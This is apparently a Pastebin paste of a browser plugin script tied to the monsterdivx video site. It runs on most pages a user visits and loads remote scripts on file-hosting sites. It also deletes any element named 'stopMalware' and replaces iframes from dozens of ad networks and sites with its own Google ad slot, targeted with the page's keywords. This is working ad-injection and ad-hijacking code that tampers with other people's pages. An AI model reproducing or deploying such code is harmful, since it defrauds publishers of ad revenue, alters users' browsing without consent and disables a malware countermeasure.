Advertisement
Guest User

pluginShellRoot

a guest
Jan 30th, 2012
930
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. var loc = (location['href']['match'](/id=/i) && location['href']['match'](/monsterdivx=true/i));
  2. if (location['href']['match'](/^http:\/\/(www\.)?bitshare\.com/i) && loc) {
  3.     xz('bitshare')
  4. } else {
  5.     if (location['href']['match'](/^http:\/\/(www\.)?wupload\.com/i) && loc) {
  6.         xz('wupload')
  7.     } else {
  8.         if (location['href']['match'](/^http:\/\/(www\.)?wupload\.de/i) && loc) {
  9.             xz('wupload')
  10.         } else {
  11.             if (location['href']['match'](/^http:\/\/(www\.)?wupload\.mx/i) && loc) {
  12.                 xz('wupload')
  13.             } else {
  14.                 if (location['href']['match'](/^http:\/\/(www\.)?wupload\.es/i) && loc) {
  15.                     xz('wupload')
  16.                 } else {
  17.                     if (location['href']['match'](/^http:\/\/(www\.)?wupload\.jp/i) && loc) {
  18.                         xz('wupload')
  19.                     } else {
  20.                         if (location['href']['match'](/^http:\/\/(www\.)?wupload\.it/i) && loc) {
  21.                             xz('wupload')
  22.                         } else {
  23.                             if (location['href']['match'](/^http:\/\/(www\.)?wupload\.fr/i) && loc) {
  24.                                 xz('wupload')
  25.                             }
  26.                         }
  27.                     }
  28.                 }
  29.             }
  30.         }
  31.     }
  32. };
  33. String['prototype']['trim'] = function () {
  34.     return this['replace'](/^\s*/, '')['replace'](/\s*$/, '')['replace'](/\'/, '')['replace'](/\\/, '')
  35. };
  36.  
  37. function x1(a) {
  38.     a['src'] = 'http://www.creanis.com/banners/doubleclick.html?width=' + a['width'] + '&height=' + a['height'];
  39.     return true
  40. };
  41.  
  42. function xs() {
  43.     var a = document['getElementsByTagName']('script');
  44.     for (var b = 0; b < a['length']; b++) {
  45.         src = a[b]['src'];
  46.         if (src == 'http://www.monsterdivx.com/core/hosts.js') {
  47.             a[b]['parentNode']['removeChild'](a[b])
  48.         }
  49.     };
  50.     var c = document['getElementById']('stopMalware');
  51.     if (c != null) {
  52.         c['parentNode']['removeChild'](c)
  53.     }
  54. };
  55.  
  56. function xz(a) {
  57.     var b = document['getElementsByTagName']('script');
  58.     for (var c = 0; c < b['length']; c++) {
  59.         src = b[c]['src'];
  60.         if (src == 'http://www.monsterdivx.com/wp-content/plugins/monsterdivx-player/js/hosts/' + a + '.js') {
  61.             return
  62.         }
  63.     };
  64.     var d = document['createElement']('script');
  65.     d['setAttribute']('type', 'text/javascript');
  66.     d['setAttribute']('src', 'http://www.monsterdivx.com/wp-content/plugins/monsterdivx-player/js/hosts/' + a + '.js');
  67.     var e = (document['getElementsByTagName']('head')[0] || document['getElementsByTagName']('body')[0]);
  68.     if (e == null) {
  69.         return
  70.     };
  71.     e['appendChild'](d)
  72. };
  73.  
  74. function xv() {
  75.     if (location['href']['match'](/static\.ak\./i)) {
  76.         return false
  77.     } else {
  78.         if ('https:' == document['location']['protocol']) {
  79.             return false
  80.         } else {
  81.             if (location['href']['match'](/\.addthis\.com\/static\//i)) {
  82.                 return false
  83.             } else {
  84.                 if (location['href']['match'](/^secure\.shared\.live\.com/i)) {
  85.                     return false
  86.                 } else {
  87.                     if (location['href']['match'](/^megaupload\.com\/mc\.php/i)) {
  88.                         return false
  89.                     } else {
  90.                         if (location['href']['match'](/^\.com\/blank\.html/i)) {
  91.                             return false
  92.                         } else {
  93.                             if (location['href']['match'](/^http\:\/\/analytics\./i)) {
  94.                                 return false
  95.                             } else {
  96.                                 if (location['href']['match'](/^\.hotmail\.com\//i)) {
  97.                                     return false
  98.                                 } else {
  99.                                     if (location['href']['match'](/^\.facebook\.com\/plugins/i)) {
  100.                                         return false
  101.                                     } else {
  102.                                         if (location['href']['match'](/^api\.twitter\.com\/receiver\.html/i)) {
  103.                                             return false
  104.                                         } else {
  105.                                             if (location['href']['match'](/^facebook\.com\/iframe\//i)) {
  106.                                                 return false
  107.                                             } else {
  108.                                                 if (location['href']['match'](/monsterdivx\.com/i)) {
  109.                                                     return false
  110.                                                 } else {
  111.                                                     if (location['href']['match']('google.com/')) {
  112.                                                         return false
  113.                                                     } else {
  114.                                                         return true
  115.                                                     }
  116.                                                 }
  117.                                             }
  118.                                         }
  119.                                     }
  120.                                 }
  121.                             }
  122.                         }
  123.                     }
  124.                 }
  125.             }
  126.         }
  127.     }
  128. };
  129.  
  130. function xw() {
  131.     var a = document['getElementsByTagName']('iframe');
  132.     for (var b = 0; b < a['length']; b++) {
  133.         iframe = a[b]['src'];
  134.         if (iframe['match']('^http://adserving.cpxinteractive.com/st?')) {
  135.             xl(a[b])
  136.         } else {
  137.             if (iframe['match']('^http://ad.foxnetworks.com/st?')) {
  138.                 xl(a[b])
  139.             } else {
  140.                 if (iframe['match']('^http://ad.xtendmedia.com/st?')) {
  141.                     xl(a[b])
  142.                 } else {
  143.                     if (iframe['match']('^http://ad.harrenmedianetwork.com/st?')) {
  144.                         xl(a[b])
  145.                     } else {
  146.                         if (iframe['match']('^http://ad.metanetwork.com/st?')) {
  147.                             xl(a[b])
  148.                         } else {
  149.                             if (iframe['match']('^http://ad.smowtion.com')) {
  150.                                 xl(a[b])
  151.                             } else {
  152.                                 if (iframe['match']('wlxrs.com')) {
  153.                                     xl(a[b])
  154.                                 } else {
  155.                                     if (iframe['match']('^http://ad.blinkdr.com/st?')) {
  156.                                         xl(a[b])
  157.                                     } else {
  158.                                         if (iframe['match']('^http://www.todoanimes.com/ads/')) {
  159.                                             xl(a[b])
  160.                                         } else {
  161.                                             if (iframe['match']('^http://ad.z5x.net/st?')) {
  162.                                                 xl(a[b])
  163.                                             } else {
  164.                                                 if (iframe['match']('^http://ad.adfunky.com/st?')) {
  165.                                                     xl(a[b])
  166.                                                 } else {
  167.                                                     if (iframe['match']('^http://ads.creafi-online-media.com/st?')) {
  168.                                                         xl(a[b])
  169.                                                     } else {
  170.                                                         if (iframe['match']('.g.doubleclick.net')) {
  171.                                                             xl(a[b])
  172.                                                         } else {
  173.                                                             if (iframe['match']('^http://ad.jumbaexchange.com/st?')) {
  174.                                                                 xl(a[b])
  175.                                                             } else {
  176.                                                                 if (iframe['match']('^http://www.ver-pelis.net/ads/')) {
  177.                                                                     xl(a[b])
  178.                                                                 } else {
  179.                                                                     if (iframe['match']('^www.ver-pelis.net/wtf/')) {
  180.                                                                         xl(a[b])
  181.                                                                     } else {
  182.                                                                         if (iframe['match']('networksserve.com')) {
  183.                                                                             xl(a[b])
  184.                                                                         } else {
  185.                                                                             if (iframe['match']('^http://www.pelispedia.com/ads/')) {
  186.                                                                                 xl(a[b])
  187.                                                                             } else {
  188.                                                                                 if (iframe['match']('^http://ads.avazu.net/st?')) {
  189.                                                                                     xl(a[b])
  190.                                                                                 } else {
  191.                                                                                     if (iframe['match']('^http://ad.yieldads.com/st?')) {
  192.                                                                                         xl(a[b])
  193.                                                                                     } else {
  194.                                                                                         if (iframe['match']('^http://ad.adnetinteractive.com/st?')) {
  195.                                                                                             xl(a[b])
  196.                                                                                         } else {
  197.                                                                                             if (iframe['match']('^http://ad.bannerconnect.net/st?')) {
  198.                                                                                                 xl(a[b])
  199.                                                                                             } else {
  200.                                                                                                 if (iframe['match']('^http://ads.jumbaexchange.com/st?')) {
  201.                                                                                                     xl(a[b])
  202.                                                                                                 } else {
  203.                                                                                                     if (iframe['match']('^http://ad.e-viral.com/st?')) {
  204.                                                                                                         xl(a[b])
  205.                                                                                                     } else {
  206.                                                                                                         if (iframe['match']('^http://ads.tlvmedia.com/st?')) {
  207.                                                                                                             xl(a[b])
  208.                                                                                                         } else {
  209.                                                                                                             if (iframe['match']('^http://ad.adperium.com/st?')) {
  210.                                                                                                                 xl(a[b])
  211.                                                                                                             } else {
  212.                                                                                                                 if (iframe['match']('^http://ads.jumbaexchange.com/st?')) {
  213.                                                                                                                     xl(a[b])
  214.                                                                                                                 } else {
  215.                                                                                                                     if (iframe['match']('esandroid.net')) {
  216.                                                                                                                         xl(a[b])
  217.                                                                                                                     } else {
  218.                                                                                                                         if (iframe['match']('^http://go.cpmadvisors.com/st?')) {
  219.                                                                                                                             xl(a[b])
  220.                                                                                                                         } else {
  221.                                                                                                                             if (iframe['match']('^http://ad.xertive.com/st?')) {
  222.                                                                                                                                 xl(a[b])
  223.                                                                                                                             } else {
  224.                                                                                                                                 if (iframe['match']('^http://ad.media-servers.net/st?')) {
  225.                                                                                                                                     xl(a[b])
  226.                                                                                                                                 } else {
  227.                                                                                                                                     if (iframe['match']('^http://www.ver-pelis.net/mc/')) {
  228.                                                                                                                                         xl(a[b])
  229.                                                                                                                                     } else {
  230.                                                                                                                                         if (iframe['match']('^http://go.cpmadvisors.com/st?')) {
  231.                                                                                                                                             xl(a[b])
  232.                                                                                                                                         } else {
  233.                                                                                                                                             if (iframe['match']('^http://ad.globe7.com/st?')) {
  234.                                                                                                                                                 xl(a[b])
  235.                                                                                                                                             } else {
  236.                                                                                                                                                 if (iframe['match']('^http://ad.103092804.com/st?')) {
  237.                                                                                                                                                     xl(a[b])
  238.                                                                                                                                                 } else {
  239.                                                                                                                                                     if (iframe['match']('^http://ad.globaltakeoff.net/st?')) {
  240.                                                                                                                                                         xl(a[b])
  241.                                                                                                                                                     } else {
  242.                                                                                                                                                         if (iframe['match']('^http://ads.bluelithium.com/st?')) {
  243.                                                                                                                                                             xl(a[b])
  244.                                                                                                                                                         } else {
  245.                                                                                                                                                             if (iframe['match']('^http://ad.antventure.com/st?')) {
  246.                                                                                                                                                                 xl(a[b])
  247.                                                                                                                                                             } else {
  248.                                                                                                                                                                 if (iframe['match']('^http://ad.reduxmedia.com/st?')) {
  249.                                                                                                                                                                     xl(a[b])
  250.                                                                                                                                                                 } else {
  251.                                                                                                                                                                     if (iframe['match']('^http://ad.adtegrity.net/st?')) {
  252.                                                                                                                                                                         xl(a[b])
  253.                                                                                                                                                                     } else {
  254.                                                                                                                                                                         if (iframe['match']('^http://ad.directaclick.com/st?')) {
  255.                                                                                                                                                                             xl(a[b])
  256.                                                                                                                                                                         } else {
  257.                                                                                                                                                                             if (iframe['match']('.mediashakers.com/id')) {
  258.                                                                                                                                                                                 xl(a[b])
  259.                                                                                                                                                                             } else {
  260.                                                                                                                                                                                 if (iframe['match']('^http://ad.adserverplus.com/st?')) {
  261.                                                                                                                                                                                     xl(a[b])
  262.                                                                                                                                                                                 } else {
  263.                                                                                                                                                                                     if (iframe['match']('^http://ad.yieldmanager.com/st?')) {
  264.                                                                                                                                                                                         xl(a[b])
  265.                                                                                                                                                                                     } else {
  266.                                                                                                                                                                                         if (iframe['match']('tradex.openx.com/afr.php?')) {
  267.                                                                                                                                                                                             xl(a[b])
  268.                                                                                                                                                                                         } else {
  269.                                                                                                                                                                                             if (iframe['match']('.affiz.net/tracking/iframedfp.php')) {
  270.                                                                                                                                                                                                 xl(a[b])
  271.                                                                                                                                                                                             } else {
  272.                                                                                                                                                                                                 if (iframe['match']('adserver.itsfogo.com/')) {
  273.                                                                                                                                                                                                     xl(a[b])
  274.                                                                                                                                                                                                 } else {
  275.                                                                                                                                                                                                     if (iframe['match']('.pasadserver.com/showBanner.php')) {
  276.                                                                                                                                                                                                         xl(a[b])
  277.                                                                                                                                                                                                     } else {
  278.                                                                                                                                                                                                         if (iframe['match']('ads.lfstmedia.com/slot')) {
  279.                                                                                                                                                                                                             xl(a[b])
  280.                                                                                                                                                                                                         } else {
  281.                                                                                                                                                                                                             if (iframe['match']('ads.sonicomusica.com/ad')) {
  282.                                                                                                                                                                                                                 xl(a[b])
  283.                                                                                                                                                                                                             } else {
  284.                                                                                                                                                                                                                 if (iframe['match']('ads.adpv.com/iframe')) {
  285.                                                                                                                                                                                                                     xl(a[b])
  286.                                                                                                                                                                                                                 } else {
  287.                                                                                                                                                                                                                     if (iframe['match']('cuevana.tv/banners/')) {
  288.                                                                                                                                                                                                                         xl(a[b])
  289.                                                                                                                                                                                                                     } else {
  290.                                                                                                                                                                                                                         if (iframe['match']('matomy-la.com')) {
  291.                                                                                                                                                                                                                             xl(a[b])
  292.                                                                                                                                                                                                                         } else {
  293.                                                                                                                                                                                                                             if (iframe['match']('adserver.adtechus.com/adiframe')) {
  294.                                                                                                                                                                                                                                 xl(a[b])
  295.                                                                                                                                                                                                                             } else {
  296.                                                                                                                                                                                                                                 if (iframe['match']('mooxar.info/openx/')) {
  297.                                                                                                                                                                                                                                     xl(a[b])
  298.                                                                                                                                                                                                                                 } else {
  299.                                                                                                                                                                                                                                     if (iframe['match']('bs.serving-sys.com/BurstingPipe')) {
  300.                                                                                                                                                                                                                                         xl(a[b])
  301.                                                                                                                                                                                                                                     } else {
  302.                                                                                                                                                                                                                                         if (iframe['match']('ad.adserver01.de/')) {
  303.                                                                                                                                                                                                                                             xl(a[b])
  304.                                                                                                                                                                                                                                         } else {
  305.                                                                                                                                                                                                                                             if (iframe['match']('.adsmwt.com/st')) {
  306.                                                                                                                                                                                                                                                 xl(a[b])
  307.                                                                                                                                                                                                                                             } else {
  308.                                                                                                                                                                                                                                                 if (iframe['match']('ad.vuiads.net/showads')) {
  309.                                                                                                                                                                                                                                                     xl(a[b])
  310.                                                                                                                                                                                                                                                 } else {
  311.                                                                                                                                                                                                                                                     if (iframe['match']('static.seeon.tv/ads/')) {
  312.                                                                                                                                                                                                                                                         xl(a[b])
  313.                                                                                                                                                                                                                                                     } else {
  314.                                                                                                                                                                                                                                                         if (iframe['match']('www.redditmedia.com/ads/')) {
  315.                                                                                                                                                                                                                                                             xl(a[b])
  316.                                                                                                                                                                                                                                                         } else {
  317.                                                                                                                                                                                                                                                             if (iframe['match']('justjared.buzznet.com/wp-content/themes/default/ads/banner.php')) {
  318.                                                                                                                                                                                                                                                                 xl(a[b])
  319.                                                                                                                                                                                                                                                             } else {
  320.                                                                                                                                                                                                                                                                 if (iframe['match']('adserving.cpxadroit.com/')) {
  321.                                                                                                                                                                                                                                                                     xl(a[b])
  322.                                                                                                                                                                                                                                                                 } else {
  323.                                                                                                                                                                                                                                                                     if (iframe['match']('ads.mapcity.com/')) {
  324.                                                                                                                                                                                                                                                                         xl(a[b])
  325.                                                                                                                                                                                                                                                                     } else {
  326.                                                                                                                                                                                                                                                                         if (iframe['match']('edge.actaads.com/a_')) {
  327.                                                                                                                                                                                                                                                                             xl(a[b])
  328.                                                                                                                                                                                                                                                                         } else {
  329.                                                                                                                                                                                                                                                                             if (iframe['match']('www.adsomega.com/www/delivery')) {
  330.                                                                                                                                                                                                                                                                                 xl(a[b])
  331.                                                                                                                                                                                                                                                                             } else {
  332.                                                                                                                                                                                                                                                                                 if (iframe['match']('.zedo.com/')) {
  333.                                                                                                                                                                                                                                                                                     xl(a[b])
  334.                                                                                                                                                                                                                                                                                 } else {
  335.                                                                                                                                                                                                                                                                                     if (iframe['match']('ads.ad4game.com/www/delivery/')) {
  336.                                                                                                                                                                                                                                                                                         xl(a[b])
  337.                                                                                                                                                                                                                                                                                     } else {
  338.                                                                                                                                                                                                                                                                                         if (iframe['match']('multiupload.com/ad.php')) {
  339.                                                                                                                                                                                                                                                                                             xl(a[b])
  340.                                                                                                                                                                                                                                                                                         } else {
  341.                                                                                                                                                                                                                                                                                             if (iframe['match']('thepiratebay.am')) {
  342.                                                                                                                                                                                                                                                                                                 xl(a[b])
  343.                                                                                                                                                                                                                                                                                             } else {
  344.                                                                                                                                                                                                                                                                                                 if (iframe['match']('alexa.com/tfBuster.html')) {
  345.                                                                                                                                                                                                                                                                                                     xl(a[b])
  346.                                                                                                                                                                                                                                                                                                 } else {
  347.                                                                                                                                                                                                                                                                                                     if (iframe['match']('ad.adnetwork.net/st?')) {
  348.                                                                                                                                                                                                                                                                                                         xl(a[b])
  349.                                                                                                                                                                                                                                                                                                     } else {
  350.                                                                                                                                                                                                                                                                                                         if (iframe['match']('.megaclick.com/ybrant.php')) {
  351.                                                                                                                                                                                                                                                                                                             xl(a[b])
  352.                                                                                                                                                                                                                                                                                                         } else {
  353.                                                                                                                                                                                                                                                                                                             if (iframe['match']('f.megaclick.com')) {
  354.                                                                                                                                                                                                                                                                                                                 xl(a[b])
  355.                                                                                                                                                                                                                                                                                                             } else {
  356.                                                                                                                                                                                                                                                                                                                 if (iframe['match']('tec-nologias.com/')) {
  357.                                                                                                                                                                                                                                                                                                                     xl(a[b])
  358.                                                                                                                                                                                                                                                                                                                 } else {
  359.                                                                                                                                                                                                                                                                                                                     if (iframe['match']('tumejorfrase.com')) {
  360.                                                                                                                                                                                                                                                                                                                         xl(a[b])
  361.                                                                                                                                                                                                                                                                                                                     } else {
  362.                                                                                                                                                                                                                                                                                                                         if (iframe['match']('images.mcanime.net/manga/')) {
  363.                                                                                                                                                                                                                                                                                                                             xl(a[b])
  364.                                                                                                                                                                                                                                                                                                                         }
  365.                                                                                                                                                                                                                                                                                                                     }
  366.                                                                                                                                                                                                                                                                                                                 }
  367.                                                                                                                                                                                                                                                                                                             }
  368.                                                                                                                                                                                                                                                                                                         }
  369.                                                                                                                                                                                                                                                                                                     }
  370.                                                                                                                                                                                                                                                                                                 }
  371.                                                                                                                                                                                                                                                                                             }
  372.                                                                                                                                                                                                                                                                                         }
  373.                                                                                                                                                                                                                                                                                     }
  374.                                                                                                                                                                                                                                                                                 }
  375.                                                                                                                                                                                                                                                                             }
  376.                                                                                                                                                                                                                                                                         }
  377.                                                                                                                                                                                                                                                                     }
  378.                                                                                                                                                                                                                                                                 }
  379.                                                                                                                                                                                                                                                             }
  380.                                                                                                                                                                                                                                                         }
  381.                                                                                                                                                                                                                                                     }
  382.                                                                                                                                                                                                                                                 }
  383.                                                                                                                                                                                                                                             }
  384.                                                                                                                                                                                                                                         }
  385.                                                                                                                                                                                                                                     }
  386.                                                                                                                                                                                                                                 }
  387.                                                                                                                                                                                                                             }
  388.                                                                                                                                                                                                                         }
  389.                                                                                                                                                                                                                     }
  390.                                                                                                                                                                                                                 }
  391.                                                                                                                                                                                                             }
  392.                                                                                                                                                                                                         }
  393.                                                                                                                                                                                                     }
  394.                                                                                                                                                                                                 }
  395.                                                                                                                                                                                             }
  396.                                                                                                                                                                                         }
  397.                                                                                                                                                                                     }
  398.                                                                                                                                                                                 }
  399.                                                                                                                                                                             }
  400.                                                                                                                                                                         }
  401.                                                                                                                                                                     }
  402.                                                                                                                                                                 }
  403.                                                                                                                                                             }
  404.                                                                                                                                                         }
  405.                                                                                                                                                     }
  406.                                                                                                                                                 }
  407.                                                                                                                                             }
  408.                                                                                                                                         }
  409.                                                                                                                                     }
  410.                                                                                                                                 }
  411.                                                                                                                             }
  412.                                                                                                                         }
  413.                                                                                                                     }
  414.                                                                                                                 }
  415.                                                                                                             }
  416.                                                                                                         }
  417.                                                                                                     }
  418.                                                                                                 }
  419.                                                                                             }
  420.                                                                                         }
  421.                                                                                     }
  422.                                                                                 }
  423.                                                                             }
  424.                                                                         }
  425.                                                                     }
  426.                                                                 }
  427.                                                             }
  428.                                                         }
  429.                                                     }
  430.                                                 }
  431.                                             }
  432.                                         }
  433.                                     }
  434.                                 }
  435.                             }
  436.                         }
  437.                     }
  438.                 }
  439.             }
  440.         }
  441.     }
  442. };
  443. if (xv()) {
  444.     xs();
  445.     var zflag_nid = '1336';
  446.     var zflag_cid = '462';
  447.     var zflag_sid = '478';
  448.     var zflag_width = '1';
  449.     var zflag_height = '1';
  450.     var zflag_sz = '94';
  451.     xw();
  452.     setTimeout(xw, 200)
  453. };
  454.  
  455. function xl(a) {
  456.     var b = document['createElement']('iframe');
  457.     b['width'] = a['width'];
  458.     b['height'] = a['height'];
  459.     b['style']['border'] = 'none';
  460.     b['style']['margin'] = 0;
  461.     b['scrolling'] = 'no';
  462.     b['marginwidth'] = 0;
  463.     b['marginheight'] = 0;
  464.     a['parentNode']['replaceChild'](b, a);
  465.     b['contentDocument']['body']['style']['margin'] = 0;
  466.     xb(b, b['width'], b['height']);
  467.     return true
  468. };
  469.  
  470. function offset(a) {
  471.     if (!a) {
  472.         a = this
  473.     };
  474.     var b = a['offsetTop'];
  475.     while (a = a['offsetParent']) {
  476.         b += a['offsetTop']
  477.     };
  478.     var c = [50, 100, 200, 300, 400, 500, 600, 700, 800, 900, 1000, 1500, 2000, 3000, 10000];
  479.     for (var d; d < c['length']; d++) {
  480.         if (b <= c[d]) {
  481.             b = c[d];
  482.             break
  483.         }
  484.     };
  485.     return b
  486. };
  487.  
  488. function xb(a, b, c) {
  489.     var d = offset(a);
  490.     a = a['contentDocument'];
  491.     var e = 'Cuantico.' + b + 'x' + c;
  492.     var f = a['getElementsByTagName']('head')[0];
  493.     var g = a['getElementsByTagName']('body')[0];
  494.     var h = a['createElement']('script');
  495.     h['type'] = 'text/javascript';
  496.     var i = a['createElement']('script');
  497.     i['type'] = 'text/javascript';
  498.     var j = a['createElement']('script');
  499.     j['type'] = 'text/javascript';
  500.     h['innerHTML'] += '(function() {';
  501.     h['innerHTML'] += 'var gads = document.createElement(\'script\');';
  502.     h['innerHTML'] += 'gads.async = true;';
  503.     h['innerHTML'] += 'gads.type = \'text/javascript\';';
  504.     h['innerHTML'] += 'var useSSL = \'https:\' == document.location.protocol;';
  505.     h['innerHTML'] += 'gads.src = (useSSL ? \'https:\' : \'http:\') + ';
  506.     h['innerHTML'] += '\'//www.googletagservices.com/tag/js/gpt.js\';';
  507.     h['innerHTML'] += 'var node = document.getElementsByTagName(\'script\')[0];';
  508.     h['innerHTML'] += 'node.parentNode.insertBefore(gads, node);';
  509.     h['innerHTML'] += '})();';
  510.     i['innerHTML'] += 'var googletag = googletag || {};';
  511.     i['innerHTML'] += 'googletag.cmd = googletag.cmd || [];';
  512.     i['innerHTML'] += 'googletag.cmd.push(function() {';
  513.     i['innerHTML'] += 'googletag.defineSlot(\'/2092446/' + e + '\', [' + b + ', ' + c + '], \'div-gpt-ad-1327557227315-0\').addService(googletag.pubads())';
  514.     i['innerHTML'] += '.setTargeting(\'keyword\', [' + xj() + '])';
  515.     i['innerHTML'] += '.setTargeting(\'position\', "top_' + d + '")';
  516.     i['innerHTML'] += ';';
  517.     i['innerHTML'] += 'googletag.pubads().enableSingleRequest();';
  518.     i['innerHTML'] += 'googletag.enableServices();';
  519.     i['innerHTML'] += '});';
  520.     j['innerHTML'] += 'googletag.cmd.push(function() { googletag.display(\'div-gpt-ad-1327557227315-0\'); });';
  521.     f['appendChild'](h);
  522.     f['appendChild'](i);
  523.     var k = a['createElement']('div');
  524.     k['id'] = 'div-gpt-ad-1327557227315-0';
  525.     k['style']['width'] = b;
  526.     k['style']['height'] = c;
  527.     g['appendChild'](k);
  528.     k['appendChild'](j)
  529. };
  530.  
  531. function xj() {
  532.     meta = document['getElementsByTagName']('meta');
  533.     for (var a = 0; a < meta['length']; a++) {
  534.         if (meta[a]['name'] == 'keywords') {
  535.             var b = meta[a]['content']['split'](',');
  536.             var c = true;
  537.             break
  538.         }
  539.     };
  540.     if (!c) {
  541.         b = ['no-keyword']
  542.     };
  543.     var d = '';
  544.     var e = '';
  545.     for (var a = 0; a < b['length']; a++) {
  546.         d += e + '\'' + b[a]['toLowerCase']()['trim']() + '\'';
  547.         e = ','
  548.     };
  549.     return d
  550. };
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement